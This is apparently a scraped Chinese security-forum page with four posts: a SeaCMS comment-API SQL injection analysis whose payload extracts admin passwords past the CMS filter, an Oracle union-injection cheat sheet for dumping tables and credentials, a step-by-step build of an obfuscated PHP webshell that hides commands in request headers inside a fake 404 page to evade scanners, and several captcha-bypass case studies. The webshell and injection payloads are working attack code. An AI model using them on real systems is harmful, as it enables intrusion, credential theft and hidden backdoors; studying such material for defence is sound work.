Seacms v8.7 /comment/api/index.php SQL注入分析

渗透测试zksmile 发表了文章 • 0 个评论 • 91 次浏览 • 2019-03-31 17:43 • 来自相关话题

漏洞环境:docker pull zksmile/vul:seacmsv7.0



漏洞分析:
漏洞文件是在:comment/api/index.php<?php
session_start();
require_once("../../include/common.php");
$id = (isset($gid) && is_numeric($gid)) ? $gid : 0;
$page = (isset($page) && is_numeric($page)) ? $page : 1;
$type = (isset($type) && is_numeric($type)) ? $type : 1;
$pCount = 0;
$jsoncachefile = sea_DATA."/cache/review/$type/$id.js";
//缓存第一页的评论
if($page<2)
{
if(file_exists($jsoncachefile))
{
$json=LoadFile($jsoncachefile);
die($json);
}
}
$h = ReadData($id,$page);
$rlist = array();
if($page<2)
{
createTextFile($h,$jsoncachefile);
}
die($h);


function ReadData($id,$page)

{
global $type,$pCount,$rlist;
$ret = array("","",$page,0,10,$type,$id);
if($id>0)
{
$ret[0] = Readmlist($id,$page,$ret[4]);
$ret[3] = $pCount;
$x = implode(',',$rlist);
if(!empty($x))
{
$ret[1] = Readrlist($x,1,10000);
}
}
$readData = FormatJson($ret);
return $readData;
}


function Readmlist($id,$page,$size)

{
global $dsql,$type,$pCount,$rlist;
$ml=array();
if($id>0)
{
$sqlCount = "SELECT count(*) as dd FROM sea_comment WHERE m_type=$type AND v_id=$id ORDER BY id DESC";
$rs = $dsql ->GetOne($sqlCount);
$pCount = ceil($rs['dd']/$size);
$sql = "SELECT id,uid,username,dtime,reply,msg,agree,anti,pic,vote,ischeck FROM sea_comment WHERE m_type=$type AND v_id=$id ORDER BY id DESC limit ".($page-1)*$size.",$size ";
$dsql->setQuery($sql);
$dsql->Execute('commentmlist');
while($row=$dsql->GetArray('commentmlist'))
{
$row['reply'].=ReadReplyID($id,$row['reply'],$rlist);
$ml="{\"cmid\":".$row['id'].",\"uid\":".$row['uid'].",\"tmp\":\"\",\"nick\":\"".$row['username']."\",\"face\":\"\",\"star\":\"\",\"anony\":".(empty($row['username'])?1:0).",\"from\":\"".$row['username']."\",\"time\":\"".date("Y/n/j H:i:s",$row['dtime'])."\",\"reply\":\"".$row['reply']."\",\"content\":\"".$row['msg']."\",\"agree\":".$row['agree'].",\"aginst\":".$row['anti'].",\"pic\":\"".$row['pic']."\",\"vote\":\"".$row['vote']."\",\"allow\":\"".(empty($row['anti'])?0:1)."\",\"check\":\"".$row['ischeck']."\"}";
}
}
$readmlist=join($ml,",");
return $readmlist;
}


function Readrlist($ids,$page,$size)

{
global $dsql,$type;
$rl=array();
$sql = "SELECT id,uid,username,dtime,reply,msg,agree,anti,pic,vote,ischeck FROM sea_comment WHERE m_type=$type AND id in ($ids) ORDER BY id DESC";
$dsql->setQuery($sql);
$dsql->Execute('commentrlist');
while($row=$dsql->GetArray('commentrlist'))
{
$rl="\"".$row['id']."\":{\"uid\":".$row['uid'].",\"tmp\":\"\",\"nick\":\"".$row['username']."\",\"face\":\"\",\"star\":\"\",\"anony\":".(empty($row['username'])?1:0).",\"from\":\"".$row['username']."\",\"time\":\"".$row['dtime']."\",\"reply\":\"".$row['reply']."\",\"content\":\"".$row['msg']."\",\"agree\":".$row['agree'].",\"aginst\":".$row['anti'].",\"pic\":\"".$row['pic']."\",\"vote\":\"".$row['vote']."\",\"allow\":\"".(empty($row['anti'])?0:1)."\",\"check\":\"".$row['ischeck']."\"}";
}
$readrlist=join($rl,",");
return $readrlist;
}传入$rlist的值为我们构造的sql语句:@`'`, extractvalue(1, concat_ws(0x20, 0x5c,(select (password)from sea_admin))),@`'`
通过ReadData函数,implode处理后传入Readrlist函数
可以看到执行的SQL语句是:






它在$dsql->Execute('commentrlist');这句的时候会有一个SQL的安全检测
文件在include/sql.class.php的CheckSql函数://完整的SQL检查

while (true)

{

$pos = strpos($db_string, '\'', $pos + 1);

if ($pos === false)

{

break;

}

$clean .= substr($db_string, $old_pos, $pos - $old_pos);

while (true)

{

$pos1 = strpos($db_string, '\'', $pos + 1);

$pos2 = strpos($db_string, '\\', $pos + 1);

if ($pos1 === false)

{

break;

}

elseif ($pos2 == false || $pos2 > $pos1)

{

$pos = $pos1;

break;

}

$pos = $pos2 + 1;

}

$clean .= '$s$';

$old_pos = $pos + 1;

}

$clean .= substr($db_string, $old_pos);

$clean = trim(strtolower(preg_replace(array('~\s+~s' ), array(' '), $clean)));可以看到这里没有把我们的报错函数部分代入进去,如果代入进去检测的话就会这里检测到:




所以上面构造的语句也很有意思





后面$clean就是要送去检测的函数,通过一番处理后得到的值为:





 
后面返回来执行的的SQL语句还是原样没动






基本分析就完成了。
最终执行的语句:SELECT id,uid,username,dtime,reply,msg,agree,anti,pic,vote,ischeck FROM sea_comment WHERE m_type=1 AND id in (@`\'`, extractvalue(1, concat_ws(0x20, 0x5c,(select (password)from sea_admin))),@`\'`) ORDER BY id DESCReferer :https://mp.weixin.qq.com/s/mp6CNu0ISMh4vsyTMr2zqw 查看全部
漏洞环境:
docker pull zksmile/vul:seacmsv7.0



漏洞分析:
漏洞文件是在:comment/api/index.php
<?php
session_start();
require_once("../../include/common.php");
$id = (isset($gid) && is_numeric($gid)) ? $gid : 0;
$page = (isset($page) && is_numeric($page)) ? $page : 1;
$type = (isset($type) && is_numeric($type)) ? $type : 1;
$pCount = 0;
$jsoncachefile = sea_DATA."/cache/review/$type/$id.js";
//缓存第一页的评论
if($page<2)
{
if(file_exists($jsoncachefile))
{
$json=LoadFile($jsoncachefile);
die($json);
}
}
$h = ReadData($id,$page);
$rlist = array();
if($page<2)
{
createTextFile($h,$jsoncachefile);
}
die($h);


function ReadData($id,$page)

{
global $type,$pCount,$rlist;
$ret = array("","",$page,0,10,$type,$id);
if($id>0)
{
$ret[0] = Readmlist($id,$page,$ret[4]);
$ret[3] = $pCount;
$x = implode(',',$rlist);
if(!empty($x))
{
$ret[1] = Readrlist($x,1,10000);
}
}
$readData = FormatJson($ret);
return $readData;
}


function Readmlist($id,$page,$size)

{
global $dsql,$type,$pCount,$rlist;
$ml=array();
if($id>0)
{
$sqlCount = "SELECT count(*) as dd FROM sea_comment WHERE m_type=$type AND v_id=$id ORDER BY id DESC";
$rs = $dsql ->GetOne($sqlCount);
$pCount = ceil($rs['dd']/$size);
$sql = "SELECT id,uid,username,dtime,reply,msg,agree,anti,pic,vote,ischeck FROM sea_comment WHERE m_type=$type AND v_id=$id ORDER BY id DESC limit ".($page-1)*$size.",$size ";
$dsql->setQuery($sql);
$dsql->Execute('commentmlist');
while($row=$dsql->GetArray('commentmlist'))
{
$row['reply'].=ReadReplyID($id,$row['reply'],$rlist);
$ml="{\"cmid\":".$row['id'].",\"uid\":".$row['uid'].",\"tmp\":\"\",\"nick\":\"".$row['username']."\",\"face\":\"\",\"star\":\"\",\"anony\":".(empty($row['username'])?1:0).",\"from\":\"".$row['username']."\",\"time\":\"".date("Y/n/j H:i:s",$row['dtime'])."\",\"reply\":\"".$row['reply']."\",\"content\":\"".$row['msg']."\",\"agree\":".$row['agree'].",\"aginst\":".$row['anti'].",\"pic\":\"".$row['pic']."\",\"vote\":\"".$row['vote']."\",\"allow\":\"".(empty($row['anti'])?0:1)."\",\"check\":\"".$row['ischeck']."\"}";
}
}
$readmlist=join($ml,",");
return $readmlist;
}


function Readrlist($ids,$page,$size)

{
global $dsql,$type;
$rl=array();
$sql = "SELECT id,uid,username,dtime,reply,msg,agree,anti,pic,vote,ischeck FROM sea_comment WHERE m_type=$type AND id in ($ids) ORDER BY id DESC";
$dsql->setQuery($sql);
$dsql->Execute('commentrlist');
while($row=$dsql->GetArray('commentrlist'))
{
$rl="\"".$row['id']."\":{\"uid\":".$row['uid'].",\"tmp\":\"\",\"nick\":\"".$row['username']."\",\"face\":\"\",\"star\":\"\",\"anony\":".(empty($row['username'])?1:0).",\"from\":\"".$row['username']."\",\"time\":\"".$row['dtime']."\",\"reply\":\"".$row['reply']."\",\"content\":\"".$row['msg']."\",\"agree\":".$row['agree'].",\"aginst\":".$row['anti'].",\"pic\":\"".$row['pic']."\",\"vote\":\"".$row['vote']."\",\"allow\":\"".(empty($row['anti'])?0:1)."\",\"check\":\"".$row['ischeck']."\"}";
}
$readrlist=join($rl,",");
return $readrlist;
}
传入$rlist的值为我们构造的sql语句:
@`'`, extractvalue(1, concat_ws(0x20, 0x5c,(select (password)from sea_admin))),@`'`

通过ReadData函数,implode处理后传入Readrlist函数
可以看到执行的SQL语句是:

111.png


它在$dsql->Execute('commentrlist');这句的时候会有一个SQL的安全检测
文件在include/sql.class.php的CheckSql函数:
//完整的SQL检查

while (true)

{

$pos = strpos($db_string, '\'', $pos + 1);

if ($pos === false)

{

break;

}

$clean .= substr($db_string, $old_pos, $pos - $old_pos);

while (true)

{

$pos1 = strpos($db_string, '\'', $pos + 1);

$pos2 = strpos($db_string, '\\', $pos + 1);

if ($pos1 === false)

{

break;

}

elseif ($pos2 == false || $pos2 > $pos1)

{

$pos = $pos1;

break;

}

$pos = $pos2 + 1;

}

$clean .= '$s$';

$old_pos = $pos + 1;

}

$clean .= substr($db_string, $old_pos);

$clean = trim(strtolower(preg_replace(array('~\s+~s' ), array(' '), $clean)));
可以看到这里没有把我们的报错函数部分代入进去,如果代入进去检测的话就会这里检测到:
222.png

所以上面构造的语句也很有意思

333.png

后面$clean就是要送去检测的函数,通过一番处理后得到的值为:

444.png

 
后面返回来执行的的SQL语句还是原样没动

555.png


基本分析就完成了。
最终执行的语句:
SELECT id,uid,username,dtime,reply,msg,agree,anti,pic,vote,ischeck FROM sea_comment WHERE m_type=1 AND id in (@`\'`, extractvalue(1, concat_ws(0x20, 0x5c,(select (password)from sea_admin))),@`\'`) ORDER BY id DESC
Referer :https://mp.weixin.qq.com/s/mp6CNu0ISMh4vsyTMr2zqw

Oracle数据库注入总结

Web安全渗透main 发表了文章 • 0 个评论 • 150 次浏览 • 2019-03-31 16:10 • 来自相关话题

一、基础知识:Oracle 使用查询语句获取数据时需要跟上表名,没有表的情况下可以使用dual,dual是Oracle的虚拟表,用来构成select的语法规则,Oracle保证dual里面永远只有一条记录。

Oracle的数据类型是强匹配的(MYSQL有弱匹配的味道),所以在Oracle进行类似UNION查询数据时候必须让对应位置上的数据类型和表中的列的数据类型是一致的,也可以使用null代替某些无法快速猜测出数据类型的位置。

Oracle的单行注释符号是--,多行注释符号/**/。

默认用户:

SYS用户:超级管理员,默认密码是change_on_install。具有创建数据库的权限

SYSTEM用户:系统管理员,默认密码manager。不具有创建数据库的权限!

scott用户:默认密码是tiger。普通用户的权限是SYS用户或SYSTEM用户给的 

默认系统和数据库:

SYSTEM
SYSAUX 

探测版本:

SELECT banner FROM v$version WHERE banner LIKE 'Oracle%';
SELECT banner FROM v$version WHERE banner LIKE 'TNS%';
SELECT version FROM v$instance;
注:
Oracle的SELECT语句必须包含FROM从句,所以当我们并不是真的准备查询一个表的时候,我们必须使用一个假的表名‘dual’

当前用户:

SELECT user FROM dual;

列出DBA账户:(超级管理员)

SELECT DISTINCT grantee FROM dba_sys_privs WHERE ADMIN_OPTION ='YES'; (超级管理员), 列出DBA和对应权限 

列出所有用户:

SELECT username FROM all_users ORDER BY username;
SELECT name FROM sys.user$; (超级管理员权限) 

列出权限:

SELECT * FROM session_privs; —当前用户的权限

SELECT * FROM dba_sys_privs WHERE grantee ='DBSNMP'; (超级管理员), 列出指定用户的权限

SELECT grantee FROM dba_sys_privs WHERE privilege = 'SELECT ANY DICTIONARY'; (超级管理员), 找到拥有某个权限的用户

SELECT GRANTEE, GRANTED_ROLE FROM DBA_ROLE_PRIVS; 

当前数据库:

SELECT global_name FROM global_name;

SELECT name FROM v$database;

SELECT instance_name FROM v$instance;

SELECT SYS.DATABASE_NAME FROM DUAL; 

列出表名:

SELECT table_name FROM all_tables;

SELECT owner, table_name FROM all_tables; 

列出字段名:

SELECT column_name FROM all_tab_columns WHERE table_name = '表名';

SELECT column_name FROM all_tab_columns WHERE table_name = '表名' and owner ='用户'; 

通过字段名找到对应表:

SELECT owner, table_name FROM all_tab_columns WHERE column_name LIKE '%PASS%';
注: 表名都是大写

查询第N行:

SELECT username FROM (SELECT ROWNUM r, username FROM all_users ORDER BY username) WHERE r=9; — 查询第9行(从1开始数) 

查询第N个字符:

SELECT substr('abcd', 3, 1) FROM dual; — 得到第三个字符‘c’ 

字符转ASCII码:

SELECT ascii('A') FROM dual; — 返回65 

ASCII值转字符:

SELECT chr(65) FROM dual; — 返回A 

类型转换:

SELECT CAST(1 AS char) FROM dual;

SELECT CAST('1' AS int) FROM dual;

格式:
Cast(字段名 as 转换的类型 ) 

拼接字符:

SELECT 'A' || 'B' FROM dual; — 返回AB
 
二、注入流程
 
【union 注入】
 
1.判断注入点类型(同MYSQL注入)'错误显示
' and 1=1 --显示正常
则为单引号闭合类型
2.判断列数:' order by 3 --
3.判断字符类型
         oracle自带虚拟表dual,oracle的查询语句必须完整的包含from字句,且每个字段的类型都要准确对应,一般使用null来判断类型。and 1=2 union select null,null..... from dual 然后一个一个去判断字段类型,方法如下:and 1=2 union select 'null',null...... from dual 返回正常,说明第一个字段是字符型,反之为数字型

第一个字段是字符型,判断第二个字段类型:
and 1=2 union select 'null','null'...... from dual 返回正常,说明第二个字段是字符型,反之为数字型

第一个字段是数字型,判断第二个字段类型:
and 1=2 union select null,'null'...... from dual 返回正常,说明第二个字段是字符型,反之为数字型
4.判断回显位置:(根据不同类型,需加上单、双引号,如下是2,3位字段字符型)' union select 1,'2','3' from dual --
5.获取数据库版本信息:' union select null,(select banner from sys.v_$version where rownum=1),null from dual --





5.获取数据第一个表名:' union select null,(select table_name from user_tables where rownum=1),null from dual --




 
6.  获取数据第二个表名:
 注意,查询第二个表时,利用筛选方法,即排除第一个表:table_name<>'T_USER'' union select null,(select table_name from user_tables where rownum=1 and table_name<>'T_USER'),null from dual --

7.获取关键表中的列/字段名:' union select null,(select column_name from user_tab_columns where table_name='T_USER' and rownum=1),null from dual --

' union select null,(select column_name from user_tab_columns where table_name='T_USER' and column_name<>'SUSER' and rownum=1),null from dual --

// 排除第一个字段后的其他字段,<>:不等于,表示筛选

 ' union select null,(select column_name from user_tab_columns where table_name='T_USER' and column_name<>'SUSER' and column_name<>'SPWD' and rownum=1),null from dual --
//排除第二个字段后的其他字段,<>:不等于

' union select null,(select column_name from user_tab_columns where table_name='T_USER' and column_name<>'SUSER' and column_name<>'SPWD' and column_name<>'SNAME' and rownum=1),null from dual --





8.获取关键列中的字段数据:(字符连接用||符号)' union select SNAME,SUSER,SPWD from T_USER --
 
 
 
参考:
https://www.cnblogs.com/peterpan0707007/p/8242119.html 
https://www.cnblogs.com/songanwei/p/9153965.html
  查看全部
一、基础知识:
Oracle 使用查询语句获取数据时需要跟上表名,没有表的情况下可以使用dual,dual是Oracle的虚拟表,用来构成select的语法规则,Oracle保证dual里面永远只有一条记录。

Oracle的数据类型是强匹配的(MYSQL有弱匹配的味道),所以在Oracle进行类似UNION查询数据时候必须让对应位置上的数据类型和表中的列的数据类型是一致的,也可以使用null代替某些无法快速猜测出数据类型的位置。

Oracle的单行注释符号是--,多行注释符号/**/。


默认用户:


SYS用户:超级管理员,默认密码是change_on_install。具有创建数据库的权限

SYSTEM用户:系统管理员,默认密码manager。不具有创建数据库的权限!

scott用户:默认密码是tiger。普通用户的权限是SYS用户或SYSTEM用户给的
 


默认系统和数据库:


SYSTEM
SYSAUX
 


探测版本:


SELECT banner FROM v$version WHERE banner LIKE 'Oracle%';
SELECT banner FROM v$version WHERE banner LIKE 'TNS%';
SELECT version FROM v$instance;

注:
Oracle的SELECT语句必须包含FROM从句,所以当我们并不是真的准备查询一个表的时候,我们必须使用一个假的表名‘dual’


当前用户:


SELECT user FROM dual;


列出DBA账户:(超级管理员)


SELECT DISTINCT grantee FROM dba_sys_privs WHERE ADMIN_OPTION ='YES';             (超级管理员), 列出DBA和对应权限
 


列出所有用户:


SELECT username FROM all_users ORDER BY username;
SELECT name FROM sys.user$; (超级管理员权限)
 


列出权限:


SELECT * FROM session_privs;    —当前用户的权限

SELECT * FROM dba_sys_privs WHERE grantee ='DBSNMP'; (超级管理员), 列出指定用户的权限

SELECT grantee FROM dba_sys_privs WHERE privilege = 'SELECT ANY DICTIONARY'; (超级管理员), 找到拥有某个权限的用户

SELECT GRANTEE, GRANTED_ROLE FROM DBA_ROLE_PRIVS;
 


当前数据库:


SELECT global_name FROM global_name;

SELECT name FROM v$database;

SELECT instance_name FROM v$instance;

SELECT SYS.DATABASE_NAME FROM DUAL;
 


列出表名:


SELECT table_name FROM all_tables;

SELECT owner, table_name FROM all_tables;
 


列出字段名:


SELECT column_name FROM all_tab_columns WHERE table_name = '表名';

SELECT column_name FROM all_tab_columns WHERE table_name = '表名' and owner ='用户';
 


通过字段名找到对应表:


SELECT owner, table_name FROM all_tab_columns WHERE column_name LIKE '%PASS%';  

注: 表名都是大写


查询第N行:


SELECT username FROM (SELECT ROWNUM  r, username FROM all_users ORDER BY username) WHERE r=9; — 查询第9行(从1开始数)
 


查询第N个字符:


SELECT substr('abcd', 3, 1) FROM dual; — 得到第三个字符‘c’
 


字符转ASCII码:


SELECT ascii('A') FROM dual; — 返回65
 


ASCII值转字符:


SELECT chr(65) FROM dual; — 返回A
 


类型转换:


SELECT CAST(1 AS char) FROM dual;   

SELECT CAST('1' AS int) FROM dual;

格式:
Cast(字段名 as 转换的类型 )
 


拼接字符:


SELECT 'A' || 'B' FROM dual; — 返回AB

 
二、注入流程
 
【union 注入】
 
1.判断注入点类型(同MYSQL注入)
'错误显示
' and 1=1 --显示正常
则为单引号闭合类型

2.判断列数:
' order by 3 --

3.判断字符类型
         oracle自带虚拟表dual,oracle的查询语句必须完整的包含from字句,且每个字段的类型都要准确对应,一般使用null来判断类型。
and 1=2 union select null,null..... from dual 然后一个一个去判断字段类型,方法如下:
and 1=2 union select 'null',null...... from dual 返回正常,说明第一个字段是字符型,反之为数字型

第一个字段是字符型,判断第二个字段类型:
and 1=2 union select 'null','null'...... from dual 返回正常,说明第二个字段是字符型,反之为数字型

第一个字段是数字型,判断第二个字段类型:
and 1=2 union select null,'null'...... from dual 返回正常,说明第二个字段是字符型,反之为数字型

4.判断回显位置:(根据不同类型,需加上单、双引号,如下是2,3位字段字符型)
' union select 1,'2','3' from dual --

5.获取数据库版本信息
' union select null,(select banner from sys.v_$version where rownum=1),null from dual --





5.获取数据第一个表名
' union select null,(select table_name from user_tables where rownum=1),null from dual --




 
6.  获取数据第二个表名
 注意,查询第二个表时,利用筛选方法,即排除第一个表:table_name<>'T_USER'
' union select null,(select table_name from user_tables where rownum=1 and table_name<>'T_USER'),null from dual --


7.获取关键表中的列/字段名
' union select null,(select column_name from user_tab_columns where table_name='T_USER' and rownum=1),null from dual --

' union select null,(select column_name from user_tab_columns where table_name='T_USER' and column_name<>'SUSER' and rownum=1),null from dual --

// 排除第一个字段后的其他字段,<>:不等于,表示筛选

 ' union select null,(select column_name from user_tab_columns where table_name='T_USER' and column_name<>'SUSER' and column_name<>'SPWD' and rownum=1),null from dual --
//排除第二个字段后的其他字段,<>:不等于

' union select null,(select column_name from user_tab_columns where table_name='T_USER' and column_name<>'SUSER' and column_name<>'SPWD' and column_name<>'SNAME' and rownum=1),null from dual --





8.获取关键列中的字段数据:(字符连接用||符号)
' union select SNAME,SUSER,SPWD from T_USER --

 
 
 
参考:
https://www.cnblogs.com/peterpan0707007/p/8242119.html 
https://www.cnblogs.com/songanwei/p/9153965.html
 

渗透测试小技巧之过waf木马

渗透测试gu 发表了文章 • 0 个评论 • 119 次浏览 • 2019-03-30 16:24 • 来自相关话题

转自(http://byd.dropsec.xyz/2017/06/05/%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95%E5%B0%8F%E6%8A%80%E5%B7%A7%E4%B9%8B%E8%BF%87waf%E6%9C%A8%E9%A9%AC/)
 
 
在研究webshell查杀的时候,学习别人怎么绕waf的思路,今天发现一个很6的函数(至少之前我是没见过),然后结合之前写访问日志记录文件时用到的方法,very perfect!
Once step
普通一句话木马:<?php eval($_POST['caidao']);?>Second step
首先大家看下这个东西:






不知道大家看到这个字符串会有啥想法,反正说实话,之前我肯定不会太在意。看下源码:$compressed = gzcompress('<?php eval($_POST[\'caidao\']);?>', 9);
$uncompressed = gzuncompress($compressed);
echo $compressed;
?>Third step
那么重点来了!
我要说的就是gzcompress这个函数。然后我又查了查相关资料,找到了PHP中具有相同功能的函数还有两个:gzdeflate,gzencode。
科普下:压缩函数:gzcompress gzdeflate gzencode
解压函数:gzuncompress gzinflate gzdecode
gzdecode是PHP 5.4.0之后才加入的,使用的时候要注意兼容性问题。
这几个函数都以gz开头,让人想到gzip压缩,而光看函数名却又看不出它们之间的区别,只能查文档。
gzcompress gzdeflate gzencode函数的区别在于它们压缩的数据格式不同:
gzcompress使用的是ZLIB格式;
gzdeflate使用的是纯粹的DEFLATE格式;
gzencode使用的是GZIP格式;
其实从PHP 5.4.0开始,这三个函数是一样的,只不过第三个参数的默认值不同;如果调用时传入第三个参数,那么这三个函数返回的数据相同。
有兴趣的自己在找找吧Fourth step
写个生成密文的文件。
考虑到可能字符显示不全,无法识别等原因,再套一层base64。if(isset($_POST['str'])){
$str = $_POST['str'];
$compressed = base64_encode(gzcompress($str, 9));
echo $compressed;
}
?>Fifth step
结合访问日志记录用到的getallheaders函数,最终的webshell如下:<?php eval(gzuncompress(base64_decode(getallheaders()['w2n1ck'])));?>
用D盾查一下






虽然级别是小于3,但是说明里面显示可能eval后门,所以要去掉这个,在变形下:<?php $w2n1ck1=gzuncompress(base64_decode(getallheaders()['cai']));$w2n1ck1(gzuncompress(base64_decode(getallheaders()['dao'])));?>
看下webshell可用性





 
这里注意下,使用eval的话会报错,具体的原因请查看错误详情在安利下命令执行的一些函数:'`',eval,assert,exec,passthru,shell_exec,system,putenv,preg_replace,pcntl_exec,popen,proc_openSixth step
再用D盾检测下






还是可疑啊,那行再伪造伪造下<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<?php
$cai=getallheaders()['cai'];
$dao=getallheaders()['dao'];
if($cai!="" and $dao!=""){
$cai=gzuncompress(base64_decode($cai));$cai(gzuncompress(base64_decode($dao)));
}
header('HTTP/1.1 404 Not Found');
?>
</body></html>
再检测下:






360 5引擎检测下






very perfect!

如果觉得自己添加头麻烦可疑使用自带的请求头字段:getallheaders()['Accept-Language']
getallheaders()['User-Agent']
getallheaders()['Accept'] 查看全部
转自(http://byd.dropsec.xyz/2017/06/05/%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95%E5%B0%8F%E6%8A%80%E5%B7%A7%E4%B9%8B%E8%BF%87waf%E6%9C%A8%E9%A9%AC/)
 
 
在研究webshell查杀的时候,学习别人怎么绕waf的思路,今天发现一个很6的函数(至少之前我是没见过),然后结合之前写访问日志记录文件时用到的方法,very perfect!
Once step
普通一句话木马:
<?php eval($_POST['caidao']);?>
Second step
首先大家看下这个东西:



不知道大家看到这个字符串会有啥想法,反正说实话,之前我肯定不会太在意。看下源码:
$compressed   = gzcompress('<?php eval($_POST[\'caidao\']);?>', 9);
$uncompressed = gzuncompress($compressed);
echo $compressed;
?>
Third step
那么重点来了!
我要说的就是gzcompress这个函数。然后我又查了查相关资料,找到了PHP中具有相同功能的函数还有两个:gzdeflategzencode
科普下:
压缩函数:gzcompress gzdeflate gzencode
解压函数:gzuncompress gzinflate gzdecode
gzdecode是PHP 5.4.0之后才加入的,使用的时候要注意兼容性问题。
这几个函数都以gz开头,让人想到gzip压缩,而光看函数名却又看不出它们之间的区别,只能查文档。
gzcompress gzdeflate gzencode函数的区别在于它们压缩的数据格式不同:
gzcompress使用的是ZLIB格式;
gzdeflate使用的是纯粹的DEFLATE格式;
gzencode使用的是GZIP格式;
其实从PHP 5.4.0开始,这三个函数是一样的,只不过第三个参数的默认值不同;如果调用时传入第三个参数,那么这三个函数返回的数据相同。
有兴趣的自己在找找吧
Fourth step
写个生成密文的文件。
考虑到可能字符显示不全,无法识别等原因,再套一层base64。
if(isset($_POST['str'])){
$str = $_POST['str'];
$compressed = base64_encode(gzcompress($str, 9));
echo $compressed;
}
?>
Fifth step
结合访问日志记录用到的getallheaders函数,最终的webshell如下:
<?php eval(gzuncompress(base64_decode(getallheaders()['w2n1ck'])));?>

用D盾查一下



虽然级别是小于3,但是说明里面显示可能eval后门,所以要去掉这个,在变形下:
<?php $w2n1ck1=gzuncompress(base64_decode(getallheaders()['cai']));$w2n1ck1(gzuncompress(base64_decode(getallheaders()['dao'])));?>

看下webshell可用性

webshell3.png

 
这里注意下,使用eval的话会报错,具体的原因请查看错误详情在安利下命令执行的一些函数:
'`',eval,assert,exec,passthru,shell_exec,system,putenv,preg_replace,pcntl_exec,popen,proc_open
Sixth step
再用D盾检测下



还是可疑啊,那行再伪造伪造下
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<?php
$cai=getallheaders()['cai'];
$dao=getallheaders()['dao'];
if($cai!="" and $dao!=""){
$cai=gzuncompress(base64_decode($cai));$cai(gzuncompress(base64_decode($dao)));
}
header('HTTP/1.1 404 Not Found');
?>
</body></html>

再检测下:



360 5引擎检测下



very perfect!

如果觉得自己添加头麻烦可疑使用自带的请求头字段:
getallheaders()['Accept-Language']
getallheaders()['User-Agent']
getallheaders()['Accept']

逻辑让我崩溃之验证码姿势分享

渗透测试flaray 发表了文章 • 0 个评论 • 85 次浏览 • 2019-03-29 18:42 • 来自相关话题

转自:https://xz.aliyun.com/t/4533
## 0x00 日常BB
看论坛里大家平时发的技术文章,就知道自己是个还没踏进门槛的小学生,根本不在一个level,有点慌了。还是把自己平时发现的,自认为有点意思的点罗列出来,班门弄斧,师傅们别笑话→.→
## 0x01 前言
本次分享的是自己关于自己遇到的一些关于图形验证码的案例,可能涉及图形验证码、短信验证码等,还是没有将问题探究到多深入,希望文中的思路能有所用。 
## 0x02 喂!你的那个验证码暴露了?
### 案例前情有些开发人员在做图形验证码校验这一功能时,可能用到了类似这样的思路,所以出了问题,我不妨大胆臆想一下他们的“直男”逻辑,如下所示,那么问题就出在了验证的环节。

生成图形验证码之后,session中保存了四位验证码信息,通过GET请求获取图形验证码时,直接在验证码的末附上了session中的图形验证码值,用户传参后直接比较,同时也省去了提交之后校验的环节。
 
### 案例分享
登陆页面很直观的需要图形验证码,输入的信息均正确,就可以成功通过验证,进行登陆。那么,针对图形验证码的请求,有必要仔细瞅他一眼。

ok,在正常不过的一个请求,那瞅一眼返回信息看看,文末有彩蛋,json部分包括了captcha的值,那么字面意思可以是图形验证码的内容了,核实一下之后可以确信了。


所以这个点的问题很有可能基本上符合我上面的流程中对验证环节的臆想,剩下的就可以是绕过或者直接爆破了,因为图形验证码已经over time。
 
## 0x03 喂!穿上马甲照样认识你!
### 前情提要
上一个案例涉及到了逻辑上存在问题的验证方式,同时很明显的展示了问题存在的点,这一部分没有明显的让你发现验证码的脆弱点,为了规避掉存在问题的点,自以为是用到了常见的拼凑、混淆方式。
### 案例分享
近乎同样的功能点,这个功能点试图使用图形验证码限制短信验证码的请求频率,那么也来看一下他的请求,是否可以从中get一些有用的信息。
 PS:这个请求我们可以看到有一个参数_captcha_bankcoas_key=,这个值怎么看都像是用了base64编码,当然不排除是加密算法加密之后再次使用base64进行编码,尝试先进行base64解码看看如何,毕竟参数的定义方式已经告诉你:“这个参数和captcha有关”,来吧,试试看。

返回包中的黄色箭头部分为密文形式,原密文如下:ZTI5ZTVhNjA4NWY0YjNjNDJhNDE0MjdkNzFjODQxMjUjMTU1MzA0OTI1OTQ3MSM2MDQ4MDAjTWprM1lqUTNNV0V3TjJZelpXRm1aVFUzWXpBeE5tRmxPR0kxTnpabE56ST0=
首先进行一次base64解码,解码后的内容可以看出,好像这个串是通过一部分加密之后,再拼凑一部分再加密的方式,最后一个“#”号到结尾部分看起来就像是先base64的那部分,摘出来解解看:e29e5a6085f4b3c42a41427d71c84125#1553049259471#604800#Mjk3YjQ3MWEwN2YzZWFmZTU3YzAxNmFlOGI1NzZlNzI=
最后一个“#”号到结尾的部分再次进行base64解密:Mjk3YjQ3MWEwN2YzZWFmZTU3YzAxNmFlOGI1NzZlNzI=
再次base64解码之后得到一个密文串儿,怎么看都得是32位md5加密值,图形验证码是6位纯数字,md5在线解密来看,嗯~真香。297b471a07f3eafe57c016ae8b576e72

## 0x04 喂!验证码我说了算?
### 前情提要
这个案例的与众不同点在于要求你输入红色标记的几个数字,这种验证方式一定程度上应该是很有效果的达到了验证码的作用,但是如果获取验证码的请求中有任何用户可控的数据提交,可能验证码就不是当年的验证码了。### 案例分享这个分享的案例有一个奇怪的逻辑,在做一笔交易时,需要动过动态手机验证码验证的方式进行,获取短信验证码需要图形验证码进行校验。
But,无论这个图形验证码存在的目的是什么,获取图形验证码的请求中有一个参数recAccount是图形验证码的内容部分,那我可就……直接把内容改成1234试试水。https://www.test.com/plate/tranVerificationCode.do?recAccount=[b]1234567890[/b]&recAccountName=&trxCode=[b]02[/b]&format=JSON&channel=undefined&businessCode=undefined
修改过的recAccount到页面之后,验证码也就成了我修改后的1234,不用打码,直接自己愿意什么内容就是什么内容了。

每一笔交易也自然都可以顺利的无视图形验证码的限制了。

 ## 0x05 容我再想想
em……我突然想到,上面的案例中涉及的场景都是可以通过脚本来自动化的,但是如果在没有写脚本的情况下,能不能利用Bp现有的功能或插件来直接用,案例中的情况可以考虑通过插件Extractor和Bp自带的Marco的方式来结合使用,这样可以将bp指定范围内的请求均经过处理进行自动化的测试或者半自动化的测试。 查看全部
转自:https://xz.aliyun.com/t/4533
